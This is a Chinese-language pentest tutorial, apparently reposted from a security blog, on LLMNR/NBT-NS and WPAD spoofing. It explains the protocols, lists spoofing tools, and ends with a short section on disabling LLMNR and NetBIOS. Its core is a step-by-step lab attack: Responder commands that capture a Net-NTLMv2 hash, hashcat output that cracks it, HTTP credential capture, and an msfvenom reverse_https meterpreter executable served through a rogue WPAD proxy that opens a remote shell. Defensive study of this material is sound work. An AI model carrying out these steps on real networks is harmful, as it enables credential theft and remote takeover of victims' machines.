LLMNR/NBT-NS欺骗攻击

admin 2023年12月14日14:12:42评论7 views字数 12374阅读41分14秒阅读模式

0x00 基本概念

LLMNR&NBT-NS欺骗攻击可以作为我们内网渗透中的一种手法,主要是利用LLMNR、NetBIOS和WPAD机制进行的中间人攻击获取到NTLMv2凭证或者HTTP认证明文和目标系统的权限,下面我们先来了解一下这几个功能的基本概念。

LLMNR

链路本地多播名称解析( LLMNR ) 是一种基于域名系统数据包格式的协议,它允许IPv4和IPv6主机为同一本地链路上的主机执行名称解析。

包头结构

1

  • ID - 由生成任何类型查询的程序分配的 16 位标识符。
  • QR - 查询/响应。
  • OPCODE - 一个 4 位字段,指定此消息中的查询类型。此值由查询的发起者设置并复制到响应中。本规范定义了标准查询和响应的行为(操作码值为零)。未来的规范可能会定义其他操作码与 LLMNR 的使用。
  • C - 冲突。
  • TC - 截断。
  • T - 暂定。
  • Z - 保留供将来使用。
  • RCODE - 响应代码。
  • QDCOUNT - 一个无符号 16 位整数,指定问题部分中的条目数。
  • ANCOUNT - 一个无符号的 16 位整数,指定答案部分中的资源记录数。
  • NSCOUNT - 一个无符号的 16 位整数,指定权限记录部分中名称服务器资源记录的数量。
  • ARCOUNT - 一个无符号 16 位整数,指定附加记录部分中的资源记录数。

NetBIOS

NetBIOSNetwork Basic Input/Output System的首字母缩写词。它提供与OSI 模型的会话层相关的服务,允许不同计算机上的应用程序通过局域网进行通信。作为严格的API,NetBIOS 不是网络协议。NetBIOS 也用于识别 TCP/IP(Windows) 中的系统名称。简单地说,它是一种允许在局域网中通过 OSI 模型的会话层进行文件和打印机通信的协议。

服务

NetBIOS 提供三种不同的服务:

  • 用于名称注册和解析的名称服务 (NetBIOS-NS) 。
  • 用于无连接通信的数据报分发服务 (NetBIOS-DGM)。
  • 面向连接通信的会话服务 (NetBIOS-SSN) 。

SMB是上层,是运行在 Session Service 和 Datagram 服务之上的服务,不要混淆为 NetBIOS 本身的必要组成部分。现在它可以运行在 TCP 之上,只需要一个小为每个 SMB 消息添加数据包长度的适配层;这是必要的,因为 TCP 仅提供字节流服务,没有数据包边界的概念。

名称服务

为了启动会话或分发数据报,应用程序必须使用名称服务注册其 NetBIOS 名称。NetBIOS 名称的长度为 16 个八位字节,并且根据特定的实现而有所不同。通常,称为 NetBIOS 后缀的第 16 个八位字节指定资源的类型,并可用于告诉其他应用程序系统提供的服务类型。在NBT中,名称服务在 UDP 端口 137 上运行(也可以使用 TCP 端口 137,但很少使用)。

NetBIOS 提供的名称服务原语是:

  • 添加名称——注册一个 NetBIOS 名称。
  • 添加组名——注册一个 NetBIOS“组”名。
  • 删除名称 - 取消注册 NetBIOS 名称或组名称。
  • 查找名称 - 在网络上查找 NetBIOS 名称。

Microsoft 不支持Internet 协议版本 6 (IPv6)的 NetBIOS 名称解析。

节点类型

在 Windows 下,联网计算机的节点类型与其将 NetBIOS 名称解析为IP 地址的方式有关。这假定 NetBIOS 节点有任何 IP 地址,只有当 NetBIOS 在 NBT 上运行时才能保证;因此,节点类型不是 NetBIOS 本身的属性,而是 Windows OS 环境中 NetBIOS 和 TCP/IP 之间交互的属性。有四种节点类型。

  • B节点:0x01广播
  • P 节点:0x02 对等点(仅限 WINS)
  • M节点:0x04混合(广播,然后WINS)
  • H节点:0x08 Hybrid(WINS,然后广播)

WPAD

Web 代理自动发现 (WPAD) 协议是组织允许员工通过代理服务器访问互联网,以提高性能、确保安全和跟踪流量。连接到公司网络的用户需要知道特定 URL 的代理服务器,客户端使用 DHCP 和/或 DNS 发现方法来定位配置文件的 URL 的一种方法。 一旦配置文件的检测和下载完成,就可以执行它来确定指定 URL 的代理。在IE在网络设置打勾就表示启用了wpad,默认是不开启的,但是在 Windows 10 中WPAD 默认是启用的:

2

0x01 工作原理

我们要明白LLNBR(UDP/5355)和NetBIOS(UDP/137) 两者的区别,其实这两个都是用于名称解析的,NetBIOS是从Windows 2000开始启用的,LLNNR是作为windows Vista以上的系统开始启用的协议,还有就是NetBIOS是Windows进行通信的API,LLMNR是网络协议,但是两者主要功能是一样的。在系统进行名称解析会进行以下的步骤:

  1. 检查以确认请求是否针对本地计算机名称。
  2. 检查最近成功解析的名称的本地缓存。
  3. 搜索本地hosts文件当中解析。
  4. 查询 DNS 服务器。
  5. 如果启用了 LLMNR,则在本地子网中广播 LLMNR 查询以请求其对等方进行解析。
  6. 如果启用了 NetBIOS,如果名称不在本地 NetBIOS 缓存中,则尝试通过向本地子网广播 NetBIOS-NS 查询来解析 NetBIOS 名称。如果这样配置,此步骤可能会使用 Windows Internet 名称服务 (WINS) 服务器以及 LAN 管理器主机 (LMHOSTS) 文件。

也就是说当我们在使用名称查找主机的时候(使用win+R,输入\\errorhost),会执行上面的步骤,所以总的来说只有当我们输入计算机和DNS服务器不存在的主机名称的时候才会触发LLMNR和NetBIOS,笔者感觉这个漏洞还是有局限性的,所以在内网渗透中用的不是很多。

0x02 攻击工具

NBNSpoof - NetBIOS Name Service Spoofer

NBNSpoof 是一种用于自动制作对 NetBIOS 名称服务 (NBNS) 名称查询的响应的工具。当 Windows 机器无法通过 DNS 和 WINS 解析域名时,它们将发送广播 NBNS 查询以查看有问题的名称是否与本地网络上的任何计算机名称匹配。在受害者错误键入域名或 DNS 服务器无法访问的情况下,对这些请求做出响应对攻击者特别有用。

下载地址:

https://github.com/nomex/nbnspoof

使用方法:

nbnspoof.py [-v] -i <interface> -n <regexp> -h <ip address> -m <MAC> [-p <ip address>]

-v Verbose output of sniffed NBNS name queries, and responses sent

-i The interface you want to sniff and send on

-n A regular expression applied to each query to determine whether a
   spoofed response will be sent

-h The IP address that will be sent in spoofed responses

-p (optional) The IP address of the victim (if unset, pwn all)

-m The source MAC address for spoofed responses

llmnr_response

这是一款在msf中使用的工具。利用方法如下:

msf > use auxiliary/spoof/llmnr/llmnr_response
msf auxiliary(llmnr_response) > show actions
    ...actions...
msf auxiliary(llmnr_response) > set ACTION < action-name >
msf auxiliary(llmnr_response) > show options
    ...show and set options...
msf auxiliary(llmnr_response) > run

Responder

Responder是一款很强大的中间人利用工具,也是本文中实践使用的工具,主要的功能有双 IPv6/IPv4 堆栈、内置 SMB 身份验证服务器、内置 MSSQL 身份验证服务器、内置 HTTP 身份验证服务器、内置 HTTPS 身份验证服务器、内置 LDAP 身份验证服务器、内置 DCE-RPC 身份验证服务器、内置 FTP、POP3、IMAP、SMTP Auth 服务器、内置DNS服务器、内置 WPAD 代理服务器、浏览器监听器、指纹识别、Icmp 重定向、DHCP欺骗、分析模式。

下载地址:

https://github.com/lgandx/Responder

使用方法:

--version             show program's version number and exit
-h, --help            show this help message and exit
-A, --analyze         Analyze mode. This option allows you to see NBT-NS,
                    BROWSER, LLMNR requests without responding.
-I eth0, --interface=eth0
                    Network interface to use, you can use 'ALL' as a
                    wildcard for all interfaces
-i 10.0.0.21, --ip=10.0.0.21
                    Local IP to use (only for OSX)
-6 2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed, --externalip6=2002:c0a8:f7:1:3ba8:aceb:b1a9:81ed
                    Poison all requests with another IPv6 address than
                    Responder's one.
-e 10.0.0.22, --externalip=10.0.0.22
                    Poison all requests with another IP address than
                    Responder's one.
-b, --basic           Return a Basic HTTP authentication. Default: NTLM
-d, --DHCP            Enable answers for DHCP broadcast requests. This
                    option will inject a WPAD server in the DHCP response.
                    Default: False
-D, --DHCP-DNS        This option will inject a DNS server in the DHCP
                    response, otherwise a WPAD server will be added.
                    Default: False
-w, --wpad            Start the WPAD rogue proxy server. Default value is
                    False
-u UPSTREAM_PROXY, --upstream-proxy=UPSTREAM_PROXY
                    Upstream HTTP proxy used by the rogue WPAD Proxy for
                    outgoing requests (format: host:port)
-F, --ForceWpadAuth   Force NTLM/Basic authentication on wpad.dat file
                    retrieval. This may cause a login prompt. Default:
                    False
-P, --ProxyAuth       Force NTLM (transparently)/Basic (prompt)
                    authentication for the proxy. WPAD doesn't need to be
                    ON. This option is highly effective when combined with
                    -r. Default: False
--lm                  Force LM hashing downgrade for Windows XP/2003 and
                    earlier. Default: False
--disable-ess         Force ESS downgrade. Default: False
-v, --verbose         Increase verbosity.

Inveigh

IInveigh 通过数据包嗅探和协议特定的 isteners/sockets 进行欺骗攻击和哈希/凭证捕获。作为该工具原始 Powershell 版本的基础的数据包嗅探方法具有以下优点:

  • 通过 Window 的 SMB 服务捕获 SMB NTLM 质询/响应
  • 主机系统上更少的可见端口绑定

主要缺点是需要提升访问权限。

在当前版本的 Windows 上,默认运行的 UDP 服务允许端口重用。因此,数据包嗅探不再为绕过正在使用的 UDP 端口提供优势。Inveigh 的 UDP 侦听器都配置为利用端口重用。

下载地址:https://github.com/Kevin-Robertson/Inveigh.git

0x03 攻击实战

捕获Net-NTLMv2

主要的工作流程

如下图所示,受害者在网络中寻找filesrvr这个主机(因为少打了一个e),先去询问DNS服务器,如果不知道就会去内网中广播谁是filesrvr,攻击者就会设置一个监听,假装回应说他就是filesrvr,中间就会发出获取hash信号,当攻击者收到后机会返回错误的信息给受害者:

3

实战

实战我们是使用一台受害者Windows 7(172.16.0.105),一台攻击者Kali Linux (172.16.0.107),Responder工具是kali自带的,所以直接在kali执行responder即可。

在Kali上面执行以下命令,记得是以sudo方式执行,f是指获取指纹,v是详情:

┌──(kali㉿kali)-[/usr/share/responder]
└─$ sudo responder -I eth0 -fv                                                                                                                                                                                                                                                              
                                         __
  .----.-----.-----.-----.-----.-----.--|  |.-----.----.
  |   _|  -__|__ --|  _  |  _  |     |  _  ||  -__|   _|
  |__| |_____|_____|   __|_____|__|__|_____||_____|__|
                   |__|

           NBT-NS, LLMNR & MDNS Responder 3.0.7.0

  Author: Laurent Gaffie ([email protected])
  To kill this script hit CTRL-C


[+] Poisoners:
    LLMNR                      [ON]
    NBT-NS                     [ON]
    DNS/MDNS                   [ON]
    DHCP                       [OFF]

[+] Servers:
    HTTP server                [ON]
    HTTPS server               [ON]
    WPAD proxy                 [OFF]
    Auth proxy                 [OFF]
    SMB server                 [ON]
    Kerberos server            [ON]
    SQL server                 [ON]
    FTP server                 [ON]
    IMAP server                [ON]
    POP3 server                [ON]
    SMTP server                [ON]
    DNS server                 [ON]
    LDAP server                [ON]
    RDP server                 [ON]
    DCE-RPC server             [ON]
    WinRM server               [ON]

[+] HTTP Options:
    Always serving EXE         [OFF]
    Serving EXE                [OFF]
    Serving HTML               [OFF]
    Upstream Proxy             [OFF]

[+] Poisoning Options:
    Analyze Mode               [OFF]
    Force WPAD auth            [OFF]
    Force Basic Auth           [OFF]
    Force LM downgrade         [OFF]
    Force ESS downgrade        [OFF]
    Fingerprint hosts          [ON]

[+] Generic Options:
    Responder NIC              [eth0]
    Responder IP               [172.16.0.107]
    Challenge set              [random]
    Don't Respond To Names     ['ISATAP']

[+] Current Session Variables:
    Responder Machine Name     [WIN-OVB356BIVFL]
    Responder Domain Name      [OATW.LOCAL]
    Responder DCE-RPC Port     [45303]

[+] Listening for events...

然后我们在Windows 7中使用Win+r打开运行窗口,随便输入一个错误的主机名称:

4

我们再回来已经能看到获取到了Net-NTLMv2:

5

关于Net-NTLMv2和LM的区别可以看文章LM, NTLM, Net-NTLMv2

我们可以使用kali自带的John活着hashcat工具进行破解,我们把下面一段保存为hash.txt:

sc92n::WIN-JH8N3KV3OQ0:75ca7c174829730d:7C8437661030E0EB8D762DCFC77CBE65:0101000000000000000C19E89C21D801B8B5060ABB05AFE600000000020008004400350033004A0001001E00570049004E002D004E004B0048004A00480050005600460045005000490004003400570049004E002D004E004B0048004A0048005000560046004500500049002E004400350033004A002E004C004F00430041004C00030014004400350033004A002E004C004F00430041004C00050014004400350033004A002E004C004F00430041004C0007000800000C19E89C21D80106000400020000000800300030000000000000000100000000200000C1802F43EEA3DDC3521CCF236AAF808F1A6C31366979710880AC8CED8547228D0A001000000000000000000000000000000000000900140063006900660073002F0078007800780061006100000000000000000000000000

之后我们使用hashcat进行破解:

┌──(kali㉿kali)-[~]
└─$ hashcat -m 5600 hash.txt passwd.txt                                                                                                                                                                                                                                                 
hashcat (v6.1.1) starting...

SC92N::WIN-JH8N3KV3OQ0:75ca7c174829730d:7c8437661030e0eb8d762dcfc77cbe65:0101000000000000000c19e89c21d801b8b5060abb05afe600000000020008004400350033004a0001001e00570049004e002d004e004b0048004a00480050005600460045005000490004003400570049004e002d004e004b0048004a0048005000560046004500500049002e004400350033004a002e004c004f00430041004c00030014004400350033004a002e004c004f00430041004c00050014004400350033004a002e004c004f00430041004c0007000800000c19e89c21d80106000400020000000800300030000000000000000100000000200000c1802f43eea3ddc3521ccf236aaf808f1a6c31366979710880ac8ced8547228d0a001000000000000000000000000000000000000900140063006900660073002f0078007800780061006100000000000000000000000000:p@ssw0rd
                                                 
Session..........: hashcat
Status...........: Cracked
Hash.Name........: NetNTLMv2
Hash.Target......: SC92N::WIN-JH8N3KV3OQ0:75ca7c174829730d:7c843766103...000000
Time.Started.....: Mon Feb 14 12:25:27 2022 (0 secs)
Time.Estimated...: Mon Feb 14 12:25:27 2022 (0 secs)
Guess.Base.......: File (passwd.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1922 H/s (0.01ms) @ Accel:1024 Loops:1 Thr:1 Vec:16
Recovered........: 1/1 (100.00%) Digests
Progress.........: 1/1 (100.00%)
Rejected.........: 0/1 (0.00%)
Restore.Point....: 0/1 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: p@ssw0rd -> p@ssw0rd

Started: Mon Feb 14 12:25:26 2022
Stopped: Mon Feb 14 12:25:29 2022

虽然这个方式很隐蔽,但是如果遇到密码比较强的就很难受。

捕获HTTP明文

我们可以使用responder工具是去获取HTTP的Authorization信息,主要的方法就是开启HTTP认证的功能-b即可:

┌──(kali㉿kali)-[~]
└─$ sudo responder -I eth0 -fvb 

我们去输入未验证过的网址就会弹出验证窗口,让我们输入凭证:

6

输入后就可以在kali中看到我们输入的明文信息:

7

我们查看流量中是获取到了http认证的信息,解密base64即可:

8

这个功能还是不错的,就是动作比较明显。

如果未能获取到明文凭证可以尝试重启下受害者的机器

利用WPAD攻击获取系统权限

用户在访问网页时,首先会查询PAC文件的位置,具体方式如下:

1、通过DHCP服务器

如图

这里写图片描述

web浏览器向DHCP服务器发送DHCP INFORM查询PAC文件位置

DHCP服务器返回DHCP ACK数据包,包含PAC文件位置

2、通过DNS查询

web浏览器向DNS服务器发起 WPAD+X 的查询

DNS服务器返回提供WPAD主机的IP地址

web浏览器通过该IP的80端口下载wpad.dat

3、通过NBNS查询

Tips:

Windows 2K , XP , 2K3 只支持 DNS 和 NetBIOS

Windows Vista 之后(包括 2K8 , Win7,Win8.x,Win 10)支持DNS、NBNS、LLMNR

如果DHCP和DNS服务器均没有响应,同时当前缓存没有所请求的主机名,就会发起如下名称解析:

如果当前系统支持LLMNR(Link-Local Multicast Name Resolution),先发起广播LLMNR查询,如果没有响应再发起广播NBNS查询

如果有主机回应PAC文件位置

web浏览器通过该IP的80端口下载wpad.dat

这里的内容来自于
基于WPAD的中间人攻击

WPAD功能在上面做了介绍,主要是攻击原理如下图,

9

我们先去msf生成一个exe文件:

sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=172.16.0.107 LPORT=4444 -f exe -o /usr/share/responder/files/filetoserve.exe 

然后去编辑responder的配置文件,文件位置在/usr/share/responder/Responder.conf,修改下面的配置为On:

[HTTP Server]
; Set to On to always serve the custom EXE
Serve-Always = On
; Set to On to replace any requested .exe with the custom EXE
Serve-Exe = On 
; Set to On to serve the custom HTML if the URL does not contain .exe
; Set to Off to inject the 'HTMLToInject' in web pages instead
Serve-Html = On 

在kali执行:

sudo responder -I eth0 -wrfv

在msf中执行监听:

msf6 exploit(multi/handler) > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_https
payload => windows/x64/meterpreter/reverse_https
msf6 exploit(multi/handler) > show options

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (windows/x64/meterpreter/reverse_https):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     172.16.0.107     yes       The local listener hostname
   LPORT     53               yes       The local listener port
   LURI                       no        The HTTP Path


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf6 exploit(multi/handler) > set lport 4444
lport => 4444
msf6 exploit(multi/handler) > run

在受害机的网页中输入地址会弹出下载文件(可以修改一些比较诱惑性的,比如flash.exe等):

10

看到记录已经在发送文件的数据了:

11

当受害者执行exe后会反弹回msf的shell:

msf6 exploit(multi/handler) > run

[*] Started HTTPS reverse handler on https://172.16.0.107:4444
[!] https://172.16.0.107:4444 handling request from 172.16.0.105; (UUID: fvlb5805) Without a database connected that payload UUID tracking will not work!
[*] https://172.16.0.107:4444 handling request from 172.16.0.105; (UUID: fvlb5805) Staging x64 payload (201308 bytes) ...
[!] https://172.16.0.107:4444 handling request from 172.16.0.105; (UUID: fvlb5805) Without a database connected that payload UUID tracking will not work!
[*] Meterpreter session 52 opened (172.16.0.107:4444 -> 127.0.0.1 ) at 2022-02-14 10:42:49 +0800

meterpreter > sysinfo
Computer        : WIN-JH8N3KV3OQ0
OS              : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture    : x64
System Language : en_US
Domain          : HACK
Logged On Users : 3
Meterpreter     : x64/windows
meterpreter >  

0x04 防御

主要还是关掉LLMNRNBT-NS,如果只关闭其中一个也会被攻击成功,所以都要关掉才行,

关闭LLMNR

  1. win+R输入gpedit.msc

  2. 找到路径Local Computer Policy -> Computer Configuration -> Administrative Templates -> Network -> DNS Client

  3. 找到Turn Off Multicast Name Resolution,点击enable即可

12

关闭NetBIOS

  1. 打开网络共享中心
  2. 点击更改适配器设置
  3. 选择指定的网卡,右键属性
  4. 选择Internet 协议版本 4 (TCP/IPv4)
  5. 点击高级
  6. 选择WINS选项,点击禁用TCP/IP上的NetBIOS

13

修复结果

关闭两者后再尝试回出现错误:

14

0x05 参考

https://www.sternsecurity.com/blog/local-network-attacks-llmnr-and-nbt-ns-poisoning/

https://pentest.blog/what-is-llmnr-wpad-and-how-to-abuse-them-during-pentest/

https://apt404.github.io/2016/07/24/llmnr-wpad/

https://github.com/lgandx/Responder


  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年12月14日14:12:42
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   LLMNR/NBT-NS欺骗攻击https://cn-sec.com/archives/2298768.html

发表评论

匿名网友 填写信息